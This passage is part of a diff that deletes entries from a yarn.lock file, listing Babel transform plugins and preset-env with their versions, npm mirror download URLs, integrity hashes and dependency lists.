-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-dotall-regex/download/@babel/plugin-transform-dotall-regex-7.12.13.tgz#3f1601cc29905bfcb67f53910f197aeafebb25ad"
-  integrity sha1-PxYBzCmQW/y2f1ORDxl66v67Ja0=
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-duplicate-keys@^7.12.13", "@babel/plugin-transform-duplicate-keys@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-duplicate-keys/download/@babel/plugin-transform-duplicate-keys-7.12.13.tgz#6f06b87a8b803fd928e54b81c258f0a0033904de"
-  integrity sha1-bwa4eouAP9ko5UuBwljwoAM5BN4=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-exponentiation-operator@^7.12.13", "@babel/plugin-transform-exponentiation-operator@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-exponentiation-operator/download/@babel/plugin-transform-exponentiation-operator-7.12.13.tgz#4d52390b9a273e651e4aba6aee49ef40e80cd0a1"
-  integrity sha1-TVI5C5onPmUeSrpq7knvQOgM0KE=
-  dependencies:
-    "@babel/helper-builder-binary-assignment-operator-visitor" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-flow-strip-types@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-flow-strip-types/download/@babel/plugin-transform-flow-strip-types-7.9.0.tgz?cache=0&sync_timestamp=1614034217513&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-flow-strip-types%2Fdownload%2F%40babel%2Fplugin-transform-flow-strip-types-7.9.0.tgz#8a3538aa40434e000b8f44a3c5c9ac7229bd2392"
-  integrity sha1-ijU4qkBDTgALj0Sjxcmscim9I5I=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-syntax-flow" "^7.8.3"
-
-"@babel/plugin-transform-for-of@^7.13.0", "@babel/plugin-transform-for-of@^7.9.0":
-  version "7.13.0"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-for-of/download/@babel/plugin-transform-for-of-7.13.0.tgz#c799f881a8091ac26b54867a845c3e97d2696062"
-  integrity sha1-x5n4gagJGsJrVIZ6hFw+l9JpYGI=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-function-name@^7.12.13", "@babel/plugin-transform-function-name@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-function-name/download/@babel/plugin-transform-function-name-7.12.13.tgz#bb024452f9aaed861d374c8e7a24252ce3a50051"
-  integrity sha1-uwJEUvmq7YYdN0yOeiQlLOOlAFE=
-  dependencies:
-    "@babel/helper-function-name" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-literals@^7.12.13", "@babel/plugin-transform-literals@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-literals/download/@babel/plugin-transform-literals-7.12.13.tgz?cache=0&sync_timestamp=1612314818038&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-literals%2Fdownload%2F%40babel%2Fplugin-transform-literals-7.12.13.tgz#2ca45bafe4a820197cf315794a4d26560fe4bdb9"
-  integrity sha1-LKRbr+SoIBl88xV5Sk0mVg/kvbk=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-member-expression-literals@^7.12.13", "@babel/plugin-transform-member-expression-literals@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-member-expression-literals/download/@babel/plugin-transform-member-expression-literals-7.12.13.tgz?cache=0&sync_timestamp=1612314834575&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-member-expression-literals%2Fdownload%2F%40babel%2Fplugin-transform-member-expression-literals-7.12.13.tgz#5ffa66cd59b9e191314c9f1f803b938e8c081e40"
-  integrity sha1-X/pmzVm54ZExTJ8fgDuTjowIHkA=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-modules-amd@^7.14.2", "@babel/plugin-transform-modules-amd@^7.9.0":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-modules-amd/download/@babel/plugin-transform-modules-amd-7.14.2.tgz#6622806fe1a7c07a1388444222ef9535f2ca17b0"
-  integrity sha1-ZiKAb+GnwHoTiERCIu+VNfLKF7A=
-  dependencies:
-    "@babel/helper-module-transforms" "^7.14.2"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-commonjs@^7.14.0", "@babel/plugin-transform-modules-commonjs@^7.9.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-modules-commonjs/download/@babel/plugin-transform-modules-commonjs-7.14.0.tgz?cache=0&sync_timestamp=1619727184331&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-modules-commonjs%2Fdownload%2F%40babel%2Fplugin-transform-modules-commonjs-7.14.0.tgz#52bc199cb581e0992edba0f0f80356467587f161"
-  integrity sha1-UrwZnLWB4Jku26Dw+ANWRnWH8WE=
-  dependencies:
-    "@babel/helper-module-transforms" "^7.14.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-simple-access" "^7.13.12"
-    babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-systemjs@^7.13.8", "@babel/plugin-transform-modules-systemjs@^7.9.0":
-  version "7.13.8"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-modules-systemjs/download/@babel/plugin-transform-modules-systemjs-7.13.8.tgz?cache=0&sync_timestamp=1614382839114&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-modules-systemjs%2Fdownload%2F%40babel%2Fplugin-transform-modules-systemjs-7.13.8.tgz#6d066ee2bff3c7b3d60bf28dec169ad993831ae3"
-  integrity sha1-bQZu4r/zx7PWC/KN7Baa2ZODGuM=
-  dependencies:
-    "@babel/helper-hoist-variables" "^7.13.0"
-    "@babel/helper-module-transforms" "^7.13.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-validator-identifier" "^7.12.11"
-    babel-plugin-dynamic-import-node "^2.3.3"
-
-"@babel/plugin-transform-modules-umd@^7.14.0", "@babel/plugin-transform-modules-umd@^7.9.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-modules-umd/download/@babel/plugin-transform-modules-umd-7.14.0.tgz?cache=0&sync_timestamp=1619727183056&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-modules-umd%2Fdownload%2F%40babel%2Fplugin-transform-modules-umd-7.14.0.tgz#2f8179d1bbc9263665ce4a65f305526b2ea8ac34"
-  integrity sha1-L4F50bvJJjZlzkpl8wVSay6orDQ=
-  dependencies:
-    "@babel/helper-module-transforms" "^7.14.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-named-capturing-groups-regex@^7.12.13", "@babel/plugin-transform-named-capturing-groups-regex@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-named-capturing-groups-regex/download/@babel/plugin-transform-named-capturing-groups-regex-7.12.13.tgz#2213725a5f5bbbe364b50c3ba5998c9599c5c9d9"
-  integrity sha1-IhNyWl9bu+NktQw7pZmMlZnFydk=
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.12.13"
-
-"@babel/plugin-transform-new-target@^7.12.13", "@babel/plugin-transform-new-target@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-new-target/download/@babel/plugin-transform-new-target-7.12.13.tgz?cache=0&sync_timestamp=1612314816557&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-new-target%2Fdownload%2F%40babel%2Fplugin-transform-new-target-7.12.13.tgz#e22d8c3af24b150dd528cbd6e685e799bf1c351c"
-  integrity sha1-4i2MOvJLFQ3VKMvW5oXnmb8cNRw=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-object-super@^7.12.13", "@babel/plugin-transform-object-super@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-object-super/download/@babel/plugin-transform-object-super-7.12.13.tgz?cache=0&sync_timestamp=1612314795746&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-object-super%2Fdownload%2F%40babel%2Fplugin-transform-object-super-7.12.13.tgz#b4416a2d63b8f7be314f3d349bd55a9c1b5171f7"
-  integrity sha1-tEFqLWO4974xTz00m9VanBtRcfc=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-    "@babel/helper-replace-supers" "^7.12.13"
-
-"@babel/plugin-transform-parameters@^7.14.2", "@babel/plugin-transform-parameters@^7.8.7":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-parameters/download/@babel/plugin-transform-parameters-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-parameters%2Fdownload%2F%40babel%2Fplugin-transform-parameters-7.14.2.tgz#e4290f72e0e9e831000d066427c4667098decc31"
-  integrity sha1-5CkPcuDp6DEADQZkJ8RmcJjezDE=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-property-literals@^7.12.13", "@babel/plugin-transform-property-literals@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-property-literals/download/@babel/plugin-transform-property-literals-7.12.13.tgz#4e6a9e37864d8f1b3bc0e2dce7bf8857db8b1a81"
-  integrity sha1-TmqeN4ZNjxs7wOLc57+IV9uLGoE=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-react-constant-elements@^7.0.0":
-  version "7.13.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-react-constant-elements/download/@babel/plugin-transform-react-constant-elements-7.13.13.tgz#0208b1d942bf939cd4f7aa5b255d42602aa4a920"
-  integrity sha1-Agix2UK/k5zU96pbJV1CYCqkqSA=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-react-display-name@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-react-display-name/download/@babel/plugin-transform-react-display-name-7.8.3.tgz?cache=0&sync_timestamp=1620839926064&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-display-name%2Fdownload%2F%40babel%2Fplugin-transform-react-display-name-7.8.3.tgz#70ded987c91609f78353dd76d2fb2a0bb991e8e5"
-  integrity sha1-cN7Zh8kWCfeDU9120vsqC7mR6OU=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-
-"@babel/plugin-transform-react-display-name@^7.12.13", "@babel/plugin-transform-react-display-name@^7.8.3":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-react-display-name/download/@babel/plugin-transform-react-display-name-7.14.2.tgz?cache=0&sync_timestamp=1620839926064&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-display-name%2Fdownload%2F%40babel%2Fplugin-transform-react-display-name-7.14.2.tgz#2e854544d42ab3bb9c21f84e153d62e800fbd593"
-  integrity sha1-LoVFRNQqs7ucIfhOFT1i6AD71ZM=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-react-jsx-development@^7.12.17", "@babel/plugin-transform-react-jsx-development@^7.9.0":
-  version "7.12.17"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-react-jsx-development/download/@babel/plugin-transform-react-jsx-development-7.12.17.tgz#f510c0fa7cd7234153539f9a362ced41a5ca1447"
-  integrity sha1-9RDA+nzXI0FTU5+aNiztQaXKFEc=
-  dependencies:
-    "@babel/plugin-transform-react-jsx" "^7.12.17"
-
-"@babel/plugin-transform-react-jsx-self@^7.9.0":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-react-jsx-self/download/@babel/plugin-transform-react-jsx-self-7.12.13.tgz?cache=0&sync_timestamp=1612314726093&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-react-jsx-self%2Fdownload%2F%40babel%2Fplugin-transform-react-jsx-self-7.12.13.tgz#422d99d122d592acab9c35ea22a6cfd9bf189f60"
-  integrity sha1-Qi2Z0SLVkqyrnDXqIqbP2b8Yn2A=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-react-jsx-source@^7.9.0":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-react-jsx-source/download/@babel/plugin-transform-react-jsx-source-7.14.2.tgz?cache=0&sync_timestamp=1620839450233&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-jsx-source%2Fdownload%2F%40babel%2Fplugin-transform-react-jsx-source-7.14.2.tgz#2620b57e7de775c0687f65d464026d15812941da"
-  integrity sha1-JiC1fn3ndcBof2XUZAJtFYEpQdo=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-react-jsx@^7.12.17", "@babel/plugin-transform-react-jsx@^7.13.12", "@babel/plugin-transform-react-jsx@^7.9.1":
-  version "7.14.3"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-react-jsx/download/@babel/plugin-transform-react-jsx-7.14.3.tgz#0e26597805cf0862da735f264550933c38babb66"
-  integrity sha1-DiZZeAXPCGLac18mRVCTPDi6u2Y=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    "@babel/helper-module-imports" "^7.13.12"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-jsx" "^7.12.13"
-    "@babel/types" "^7.14.2"
-
-"@babel/plugin-transform-react-pure-annotations@^7.12.1":
-  version "7.12.1"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-react-pure-annotations/download/@babel/plugin-transform-react-pure-annotations-7.12.1.tgz?cache=0&sync_timestamp=1602802143347&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-react-pure-annotations%2Fdownload%2F%40babel%2Fplugin-transform-react-pure-annotations-7.12.1.tgz#05d46f0ab4d1339ac59adf20a1462c91b37a1a42"
-  integrity sha1-BdRvCrTRM5rFmt8goUYskbN6GkI=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.10.4"
-    "@babel/helper-plugin-utils" "^7.10.4"
-
-"@babel/plugin-transform-regenerator@^7.13.15", "@babel/plugin-transform-regenerator@^7.8.7":
-  version "7.13.15"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-regenerator/download/@babel/plugin-transform-regenerator-7.13.15.tgz#e5eb28945bf8b6563e7f818945f966a8d2997f39"
-  integrity sha1-5esolFv4tlY+f4GJRflmqNKZfzk=
-  dependencies:
-    regenerator-transform "^0.14.2"
-
-"@babel/plugin-transform-reserved-words@^7.12.13", "@babel/plugin-transform-reserved-words@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-reserved-words/download/@babel/plugin-transform-reserved-words-7.12.13.tgz?cache=0&sync_timestamp=1612314845661&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-reserved-words%2Fdownload%2F%40babel%2Fplugin-transform-reserved-words-7.12.13.tgz#7d9988d4f06e0fe697ea1d9803188aa18b472695"
-  integrity sha1-fZmI1PBuD+aX6h2YAxiKoYtHJpU=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-runtime@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-runtime/download/@babel/plugin-transform-runtime-7.9.0.tgz?cache=0&sync_timestamp=1621284741103&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-runtime%2Fdownload%2F%40babel%2Fplugin-transform-runtime-7.9.0.tgz#45468c0ae74cc13204e1d3b1f4ce6ee83258af0b"
-  integrity sha1-RUaMCudMwTIE4dOx9M5u6DJYrws=
-  dependencies:
-    "@babel/helper-module-imports" "^7.8.3"
-    "@babel/helper-plugin-utils" "^7.8.3"
-    resolve "^1.8.1"
-    semver "^5.5.1"
-
-"@babel/plugin-transform-shorthand-properties@^7.12.13", "@babel/plugin-transform-shorthand-properties@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-shorthand-properties/download/@babel/plugin-transform-shorthand-properties-7.12.13.tgz?cache=0&sync_timestamp=1612314820265&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-shorthand-properties%2Fdownload%2F%40babel%2Fplugin-transform-shorthand-properties-7.12.13.tgz#db755732b70c539d504c6390d9ce90fe64aff7ad"
-  integrity sha1-23VXMrcMU51QTGOQ2c6Q/mSv960=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-spread@^7.13.0", "@babel/plugin-transform-spread@^7.8.3":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-spread/download/@babel/plugin-transform-spread-7.13.0.tgz?cache=0&sync_timestamp=1614034217488&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-spread%2Fdownload%2F%40babel%2Fplugin-transform-spread-7.13.0.tgz#84887710e273c1815ace7ae459f6f42a5d31d5fd"
-  integrity sha1-hIh3EOJzwYFaznrkWfb0Kl0x1f0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1"
-
-"@babel/plugin-transform-sticky-regex@^7.12.13", "@babel/plugin-transform-sticky-regex@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-sticky-regex/download/@babel/plugin-transform-sticky-regex-7.12.13.tgz#760ffd936face73f860ae646fb86ee82f3d06d1f"
-  integrity sha1-dg/9k2+s5z+GCuZG+4bugvPQbR8=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-template-literals@^7.13.0", "@babel/plugin-transform-template-literals@^7.8.3":
-  version "7.13.0"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-template-literals/download/@babel/plugin-transform-template-literals-7.13.0.tgz#a36049127977ad94438dee7443598d1cefdf409d"
-  integrity sha1-o2BJEnl3rZRDje50Q1mNHO/fQJ0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-typeof-symbol@^7.12.13", "@babel/plugin-transform-typeof-symbol@^7.8.4":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-typeof-symbol/download/@babel/plugin-transform-typeof-symbol-7.12.13.tgz?cache=0&sync_timestamp=1612314820235&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-typeof-symbol%2Fdownload%2F%40babel%2Fplugin-transform-typeof-symbol-7.12.13.tgz#785dd67a1f2ea579d9c2be722de8c84cb85f5a7f"
-  integrity sha1-eF3Weh8upXnZwr5yLejITLhfWn8=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-typescript@^7.9.0":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-typescript/download/@babel/plugin-transform-typescript-7.14.4.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-typescript%2Fdownload%2F%40babel%2Fplugin-transform-typescript-7.14.4.tgz#1c48829fa6d5f2de646060cd08abb6cda4b521a7"
-  integrity sha1-HEiCn6bV8t5kYGDNCKu2zaS1Iac=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.14.4"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-typescript" "^7.12.13"
-
-"@babel/plugin-transform-unicode-escapes@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-unicode-escapes/download/@babel/plugin-transform-unicode-escapes-7.12.13.tgz?cache=0&sync_timestamp=1612314845292&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-unicode-escapes%2Fdownload%2F%40babel%2Fplugin-transform-unicode-escapes-7.12.13.tgz#840ced3b816d3b5127dd1d12dcedc5dead1a5e74"
-  integrity sha1-hAztO4FtO1En3R0S3O3F3q0aXnQ=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-unicode-regex@^7.12.13", "@babel/plugin-transform-unicode-regex@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-unicode-regex/download/@babel/plugin-transform-unicode-regex-7.12.13.tgz#b52521685804e155b1202e83fc188d34bb70f5ac"
-  integrity sha1-tSUhaFgE4VWxIC6D/BiNNLtw9aw=
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/preset-env@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.nlark.com/@babel/preset-env/download/@babel/preset-env-7.9.0.tgz?cache=0&sync_timestamp=1622221985543&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fpreset-env%2Fdownload%2F%40babel%2Fpreset-env-7.9.0.tgz#a5fc42480e950ae8f5d9f8f2bbc03f52722df3a8"
-  integrity sha1-pfxCSA6VCuj12fjyu8A/UnIt86g=
-  dependencies:
-    "@babel/compat-data" "^7.9.0"
-    "@babel/helper-compilation-targets" "^7.8.7"
-    "@babel/helper-module-imports" "^7.8.3"
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-proposal-async-generator-functions" "^7.8.3"
-    "@babel/plugin-proposal-dynamic-import" "^7.8.3"
-    "@babel/plugin-proposal-json-strings" "^7.8.3"
-    "@babel/plugin-proposal-nullish-coalescing-operator" "^7.8.3"
-    "@babel/plugin-proposal-numeric-separator" "^7.8.3"
-    "@babel/plugin-proposal-object-rest-spread" "^7.9.0"
-    "@babel/plugin-proposal-optional-catch-binding" "^7.8.3"
-    "@babel/plugin-proposal-optional-chaining" "^7.9.0"
-    "@babel/plugin-proposal-unicode-property-regex" "^7.8.3"
-    "@babel/plugin-syntax-async-generators" "^7.8.0"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.0"
-    "@babel/plugin-syntax-json-strings" "^7.8.0"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0"
-    "@babel/plugin-syntax-numeric-separator" "^7.8.0"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.0"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.0"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.0"
-    "@babel/plugin-syntax-top-level-await" "^7.8.3"
-    "@babel/plugin-transform-arrow-functions" "^7.8.3"
-    "@babel/plugin-transform-async-to-generator" "^7.8.3"
-    "@babel/plugin-transform-block-scoped-functions" "^7.8.3"
-    "@babel/plugin-transform-block-scoping" "^7.8.3"
-    "@babel/plugin-transform-classes" "^7.9.0"
-    "@babel/plugin-transform-computed-properties" "^7.8.3"
-    "@babel/plugin-transform-destructuring" "^7.8.3"
-    "@babel/plugin-transform-dotall-regex" "^7.8.3"
-    "@babel/plugin-transform-duplicate-keys" "^7.8.3"
-    "@babel/plugin-transform-exponentiation-operator" "^7.8.3"
-    "@babel/plugin-transform-for-of" "^7.9.0"
-    "@babel/plugin-transform-function-name" "^7.8.3"
-    "@babel/plugin-transform-literals" "^7.8.3"
-    "@babel/plugin-transform-member-expression-literals" "^7.8.3"
-    "@babel/plugin-transform-modules-amd" "^7.9.0"
-    "@babel/plugin-transform-modules-commonjs" "^7.9.0"
-    "@babel/plugin-transform-modules-systemjs" "^7.9.0"
-    "@babel/plugin-transform-modules-umd" "^7.9.0"
-    "@babel/plugin-transform-named-capturing-groups-regex" "^7.8.3"
-    "@babel/plugin-transform-new-target" "^7.8.3"
-    "@babel/plugin-transform-object-super" "^7.8.3"
-    "@babel/plugin-transform-parameters" "^7.8.7"
-    "@babel/plugin-transform-property-literals" "^7.8.3"
-    "@babel/plugin-transform-regenerator" "^7.8.7"
-    "@babel/plugin-transform-reserved-words" "^7.8.3"
-    "@babel/plugin-transform-shorthand-properties" "^7.8.3"
-    "@babel/plugin-transform-spread" "^7.8.3"
-    "@babel/plugin-transform-sticky-regex" "^7.8.3"
-    "@babel/plugin-transform-template-literals" "^7.8.3"
-    "@babel/plugin-transform-typeof-symbol" "^7.8.4"
-    "@babel/plugin-transform-unicode-regex" "^7.8.3"
-    "@babel/preset-modules" "^0.1.3"
-    "@babel/types" "^7.9.0"
-    browserslist "^4.9.1"
-    core-js-compat "^3.6.2"
-    invariant "^2.2.2"
-    levenary "^1.1.1"
-    semver "^5.5.0"
-
-"@babel/preset-env@^7.4.5":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/preset-env/download/@babel/preset-env-7.14.4.tgz?cache=0&sync_timestamp=1622221985543&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fpreset-env%2Fdownload%2F%40babel%2Fpreset-env-7.14.4.tgz#73fc3228c59727e5e974319156f304f0d6685a2d"
-  integrity sha1-c/wyKMWXJ+XpdDGRVvME8NZoWi0=
-  dependencies:
-    "@babel/compat-data" "^7.14.4"
-    "@babel/helper-compilation-targets" "^7.14.4"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-validator-option" "^7.12.17"
-    "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.13.12"
-    "@babel/plugin-proposal-async-generator-functions" "^7.14.2"
-    "@babel/plugin-proposal-class-properties" "^7.13.0"
-    "@babel/plugin-proposal-class-static-block" "^7.14.3"
-    "@babel/plugin-proposal-dynamic-import" "^7.14.2"
-    "@babel/plugin-proposal-export-namespace-from" "^7.14.2"
-    "@babel/plugin-proposal-json-strings" "^7.14.2"
-    "@babel/plugin-proposal-logical-assignment-operators" "^7.14.2"
-    "@babel/plugin-proposal-nullish-coalescing-operator" "^7.14.2"
-    "@babel/plugin-proposal-numeric-separator" "^7.14.2"
-    "@babel/plugin-proposal-object-rest-spread" "^7.14.4"
-    "@babel/plugin-proposal-optional-catch-binding" "^7.14.2"
-    "@babel/plugin-proposal-optional-chaining" "^7.14.2"
-    "@babel/plugin-proposal-private-methods" "^7.13.0"
-    "@babel/plugin-proposal-private-property-in-object" "^7.14.0"
-    "@babel/plugin-proposal-unicode-property-regex" "^7.12.13"
-    "@babel/plugin-syntax-async-generators" "^7.8.4"
-    "@babel/plugin-syntax-class-properties" "^7.12.13"
-    "@babel/plugin-syntax-class-static-block" "^7.12.13"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.3"
-    "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
-    "@babel/plugin-syntax-json-strings" "^7.8.3"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
-    "@babel/plugin-syntax-private-property-in-object" "^7.14.0"
-    "@babel/plugin-syntax-top-level-await" "^7.12.13"
-    "@babel/plugin-transform-arrow-functions" "^7.13.0"
-    "@babel/plugin-transform-async-to-generator" "^7.13.0"
-    "@babel/plugin-transform-block-scoped-functions" "^7.12.13"
-    "@babel/plugin-transform-block-scoping" "^7.14.4"
-    "@babel/plugin-transform-classes" "^7.14.4"
-    "@babel/plugin-transform-computed-properties" "^7.13.0"
-    "@babel/plugin-transform-destructuring" "^7.14.4"
-    "@babel/plugin-transform-dotall-regex" "^7.12.13"
-    "@babel/plugin-transform-duplicate-keys" "^7.12.13"
-    "@babel/plugin-transform-exponentiation-operator" "^7.12.13"
-    "@babel/plugin-transform-for-of" "^7.13.0"
-    "@babel/plugin-transform-function-name" "^7.12.13"
-    "@babel/plugin-transform-literals" "^7.12.13"
-    "@babel/plugin-transform-member-expression-literals" "^7.12.13"
-    "@babel/plugin-transform-modules-amd" "^7.14.2"
-    "@babel/plugin-transform-modules-commonjs" "^7.14.0"
-    "@babel/plugin-transform-modules-systemjs" "^7.13.8"
-    "@babel/plugin-transform-modules-umd" "^7.14.0"
-    "@babel/plugin-transform-named-capturing-groups-regex" "^7.12.13"
-    "@babel/plugin-transform-new-target" "^7.12.13"
-    "@babel/plugin-transform-object-super" "^7.12.13"
-    "@babel/plugin-transform-parameters" "^7.14.2"
-    "@babel/plugin-transform-property-literals" "^7.12.13"
-    "@babel/plugin-transform-regenerator" "^7.13.15"
-    "@babel/plugin-transform-reserved-words" "^7.12.13"
-    "@babel/plugin-transform-shorthand-properties" "^7.12.13"
